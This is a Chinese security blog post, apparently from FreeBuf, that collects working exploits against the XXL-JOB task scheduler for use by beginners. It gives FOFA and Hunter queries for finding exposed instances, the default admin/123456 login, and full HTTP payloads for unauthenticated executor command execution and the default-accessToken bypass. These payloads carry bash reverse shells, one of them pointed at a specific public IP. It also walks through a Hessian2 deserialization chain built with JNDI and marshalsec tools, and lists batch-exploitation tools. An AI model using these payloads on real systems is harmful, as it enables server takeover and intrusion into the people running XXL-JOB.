前言
XXL-JOB常见漏洞汇总,将网上的poc整理然后部分复现笔记记录一下,大佬勿喷,可以直接跳过。
小白可以直接收藏下来学习一下很多poc都直接给出来了,重点看漏洞复现模块,基本就是我的笔记。
如果,有不对的可以指正一下,一起学习,演示地址均为国外地址或者靶场。
产品介绍
XXL-JOB是一个广受欢迎的分布式任务调度平台,核心解决在分布式微服务架构下的定时任务管理难题。它将任务调度行为与任务执行行为分离开,由一个统一的管理中心(调度中心)来动态触发和管理所有定时任务,而具体的业务逻辑则由分布在不同机器上的执行器来承载。这种设计带来了巨大的优势:开发者无需再关心任务在哪个节点运行,通过Web界面就能轻松完成任务的创建、启动、停止和监控,并支持灵活的调度路由、失败重试、报警机制和丰富的日志记录。凭借其开箱即用、学习成本低、高可用和易扩展的特点,XXL-JOB有效提升了分布式系统任务调度的可靠性与运维效率,成为许多企业构建稳定后台作业系统的首选技术组件。
XXL-JOB官网地址
https://www.xuxueli.com/xxl-job/
资产测绘
fofa语法:
app="XXL-JOB"
title="任务调度中心"
icon_hash="1691956220"
body="jobconf_trigger_type"body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"
app="XXL-JOB" || title="任务调度中心" || icon_hash="1691956220" || body="jobconf_trigger_type"
hunter语法:
app.name="XXL-JOB"
title="任务调度中心"
body="jobconf_trigger_type"
web.icon=="421c7c35244591f892496fe4d6e51921"body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"
app.name="XXL-JOB"||title="任务调度中心"||body="jobconf_trigger_type"||web.icon=="421c7c35244591f892496fe4d6e51921"
弱口令漏洞
XXL-JOB 是一款基于 Java 开发的轻量级分布式任务调度平台,广泛应用于任务管理和调度。然而,若使用默认弱口令(如 admin/123456),可能导致严重的安全隐患,攻击者可通过后台权限执行任意代码甚至接管服务器。
漏洞复现
访问url地址看到这个页面可以直接确定是xxl-job
输入弱口令
admin/123456 成功进入后台
有些情况可以配合后台漏洞进行getshell
XXL-JOB executor 未授权访问漏洞
漏洞描述
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
漏洞复现
直接访问靶场地址可以看到XXL-JOB 页面
直接使用XXL-JOB executor 未授权访问漏洞的poc进行测试
因为是靶场我这里直接反弹shell,如果是实战的话可以执行命令访问dnslog地址或者
创建文件等操作,规避高风险操作。
首先使用tscan-plus生成反弹shell的poc
/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 #127.0.0.1替换为vps地址 8888替换为vps监听端口
然后服务器开启监听即可
nc -lvvp 8888
漏洞poc
POST /run HTTP/1.1
Host:127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
成功getshell
XXL-JOB 任务调度中心 后台任意命令执行漏洞
漏洞描述
XXL-JOB 任务调度中心攻击者可以在后台可以通过写入 shell 命令任务调度获取服务器权限
漏洞复现
使用默认口令admin/123456登录之后来到任务管理处,按照蓝色箭头进行配置
注意运行模式需要为 GLUE(shell)
点击 GLUE IDE 编辑脚本
回到任务管理器,选择任务,点击操作执行一次,之后查看dnslog服务器
结果说明本台服务器即出网又可以命令执行,直接尝试反弹shell,修改glue ide脚本为反弹shell内容,然后再执行即可。
poc
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'
这个漏洞我之前成功过几次,但是没有截图,思路是正确的,可能图有点糊了。
XXL-JOB api未授权hessian2反序列化复现
漏洞描述
XXL-JOB 是一个分布式任务调度平台,其前后端之间通过 Hessian2 序列化协议传输数据,XXL-JOB 的/api接口允许未授权访问,攻击者可以构造恶意的 Hessian2 序列化数据并发送到服务端,导致反序列化漏洞。该漏洞主要影响 XXL-JOB 的早期版本(<= 2.0.2)
漏洞复现
访问链接地址看到XXL-JOB页面且版本较低进行poc尝试
首先使用工具
工具地址:
https://github.com/welk1n/JNDI-Injection-Exploit首先在vps执行命令,开启JNDI注入工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl [Address]:5555"
-A 0.0.0.0: 绑定到所有网络接口(监听所有IP)
-C "curl [Address]:5555": 要执行的恶意命令
当有漏洞的应用进行JNDI查询时
服务器会返回恶意Reference
客户端会从指定地址加载并执行恶意类
最终执行curl [Address]:5555命令
使用最后一个rmi://xxxx,配合下面的工具生成Hessian2反序列化的poc
工具地址
https://github.com/0ofo/marshalsec.jar使用我这个链就可以
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://[RMI Address]:1099/stbjir >test.ser
marshalsec: 一个知名的Java反序列化漏洞利用工具
Hessian2: 使用Hessian2序列化格式
SpringAbstractBeanFactoryPointcutAdvisor: 利用Spring框架的反序列化gadget链
rmi://[RMI Address]:1099/stbjir: 恶意的RMI服务器地址
> test.ser: 将生成的恶意序列化数据保存到文件
生成恶意序列化数据
创建一个包含恶意指令的Hessian2序列化对象
利用Spring框架的漏洞链实现代码执行
触发攻击
当目标应用反序列化test.ser文件时
会连接到指定的RMI服务器
加载并执行恶意代码
服务器5555端口开启监听
nc -lvvp 5555
最终利用
在包含我们恶意文件的文件夹里面直接右键cmd执行命令
curl -X POST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://localhost:8080/xxl-job-admin/api
curl: 命令行HTTP工具
-X POST: 使用POST方法
-H "Content-Type: x-application/hessian": 设置Content-Type为Hessian格式
--data-binary @test.ser: 上传之前生成的恶意序列化文件
http://localhost:8080/xxl-job-admin/api: 目标接口(XXL-JOB任务调度系统)
打完poc之后发现,vps被成功请求。
我这里只是执行命令curl vps:5555,当然还有很多比较深入的实战利用比如getshell以及换别的链子之类的,大家可以自己进行查找,我这里只做简单分享,简单利用。
XXL-JOB默认accessToken权限绕过漏洞
漏洞描述
XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。
漏洞复现
访问之后可以看到
漏洞复现
直接使用poc访问dnslog地址
POST /run HTTP/1.1
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Java/1.8.0_391
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 323
Connection: close{"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "ping 0n3fio.dnslog.cn","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}
反弹shell
/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
反弹shell的poc地址
POST /run HTTP/1.1
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Java/1.8.0_391
Host: 123.58.224.8:39234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 323
Connection: close{"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "/bin/bash -i >& /dev/tcp/118.89.79.204/7889 0>&1","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}
XXL-JOB案例实战
通过指纹探测或其他方法获取XXL-JOB目标后,进行访问可以看到登录页面,这个漏洞的简单利用,使用工具完全可以部分情况需要手动打poc比如内网等,这里我直接使用工具进行测试
直接工具进行检测
然后执行命令测试
反弹shell测试
使用tscan进行反弹shell的payload生成
反弹shell
/bin/bash -i >& /dev/tcp/xxxx/7889 0>&1
接受shell
nc -lvvp 7889
工具推荐
XXL-JOB ExploitGUI
工具简介
工具支持检测XXL-JOB多种常见漏洞,并且支持多种利用方式。工具提供直观友好的图像化界面,用户能够轻松进行操作和管理。支持空间测绘、批量扫描功能,用户可以同时对多个目标进行漏洞检测,极大地提高了扫描效率。还支持暂停扫描、终止扫描、自定义多线程扫描、自定义请求头、内置随机User-Agent头、http代理、socks代理、扫描结果导出为表格等等功能。工具支持检测模块
XXL-JOB-Admin 默认登陆密码
XXL-JOB-Admin 后台RCE ( 工具支持利用模块 : 内存马注入 )
XXL-JOB-Admin 前台api未授权 hessian2反序列化 ( 工具支持利用模块 : 命令执行 内存马注入 )
XXL-JOB-Executor Restful API 未授权访问命令执行 ( 工具支持利用模块 : 命令执行 )
XXL-JOB-Executor 默认accessToken权限绕过 ( 工具支持利用模块 : 命令执行 )工具地址
https://github.com/charonlight/xxl-jobExploitGUI
单目标检测
批量检测
Hessian2反序列化命令执行
Hessian2反序列化注入内存马
其他利用可以看本工具的readme
afrog
afrog.exe -s xxl-job -pl
常用参数
-s #指定漏洞类型
-S #指定等级
-pl #列出相关poc
-T #指定多个目标文件
-t 指定单个目标
afrog.exe -s xxl-ob -T c:/xxx.txt -o c:/xxx.html
总结
在网络安全的世界里,停止学习就意味着落后,共勉!
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)